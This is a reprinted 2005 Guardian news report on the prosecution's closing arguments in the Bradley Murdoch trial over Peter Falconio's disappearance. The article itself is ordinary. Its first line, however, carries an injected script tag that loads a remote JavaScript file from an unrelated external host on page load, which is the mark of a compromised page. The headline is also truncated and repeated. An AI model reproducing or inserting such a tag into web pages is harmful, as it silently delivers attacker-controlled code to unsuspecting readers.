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The stretch of Stuart Highway<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Guardian Unlimited - UK
06 December 2005

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The stretch of Stuart Highway

'No evidence' of police corrup

Allegations that Australian police attempted to frame a mechanic accused of killing British backpacker Peter Falconio are "nothing more than offensive innuendo", a court in Darwin heard today.
Grant Algie, defending Bradley Murdoch, suggested on Monday that officers might have planted DNA evidence to frame the mechanic.

But Rex Wild, summing up the case for the prosecution, said there was no evidence to support the claim.

"I've found it difficult to be confronted with these allegations of corruption in the Northern Territory. You might have found it offensive, as one of the police officers did," he said.

"Corruption, conspiracy, this innuendo running through the case, there's not one bit of evidence to support it. Every time it's been put in this case, it's been denied."
Mr Murdoch, 47, of Broome, Western Australia, denies murdering Mr Falconio and abducting and assaulting his girlfriend Joanne Lees after flagging down the couple's camper van on a remote highway near Barrow Creek, about 200 miles north of Alice Springs, on July 14 2001.

He faces a possible life sentence if convicted by the Northern Territory supreme court. Neither Mr Falconio's body, nor a murder weapon has ever been found.

Mr Algie suggested yesterday that Mr Falconio faked his own death, but Mr Wild dismissed the theory.

"He's not disappeared himself, he's been disappeared by Bradley Murdoch," Mr Wild said.

Mr Falconio's parents wept in court, as Mr Wild described how Mr Falconio's body would eventually be discovered. "Perhaps one day it'll be found, but it might take some time," he said.

Earlier, Mr Algie drew attention to how the evidence of some prosecution witnesses had changed since the attack.

The description Ms Lees gave of Mr Murdoch's pickup truck has changed and she has been unsure about how she was forced into the rear of the vehicle.

But Mr Wild defended her testimony. "She was not taking notes, she had the most terrifying experience of her life or of any person in this room could ever have," he said.

"So when you go into the jury room later and talk about her evidence, and talk about what my learned friend says about the discrepancies, you make proper allowances for the situation in which she found herself."

Mr Wild also dismissed claims that Ms Lees knew where Mr Falconio's body was hidden. Ms Lees has always said the last time she saw Mr Falconio was when he left the camper van to help Mr Murdoch.

"This has been a terrifying experience for her. What we've got to remember is the agony of the moment - her focus is on the man, her focus is on where she finds herself, her focus is on escaping," Mr Wild said.

"This young woman is in a state of emergency. She is, in fact, fighting for her life."

The jury also heard how Mr Murdoch was "fastidious, meticulous and obsessive".

"We have seen the style of handcuffs used, meticulously put together, you might think, by someone with a great deal of time and attention to detail," Mr Wild said.

He said the attacker covered the pool of Mr Falconio's blood on the highway with dirt and moved the body.

"You might think the man that put the dirt on the blood and moved the body is a meticulous and fastidious man, which Mr Murdoch is," Mr Wild told jurors.

The trial was adjourned until tomorrow, when Mr Wild will continue his closing arguments.

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Article sourced from

Guardian Unlimited - UK06 December 2005

'No evidence' of police corrup

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Guardian Unlimited - UK
06 December 2005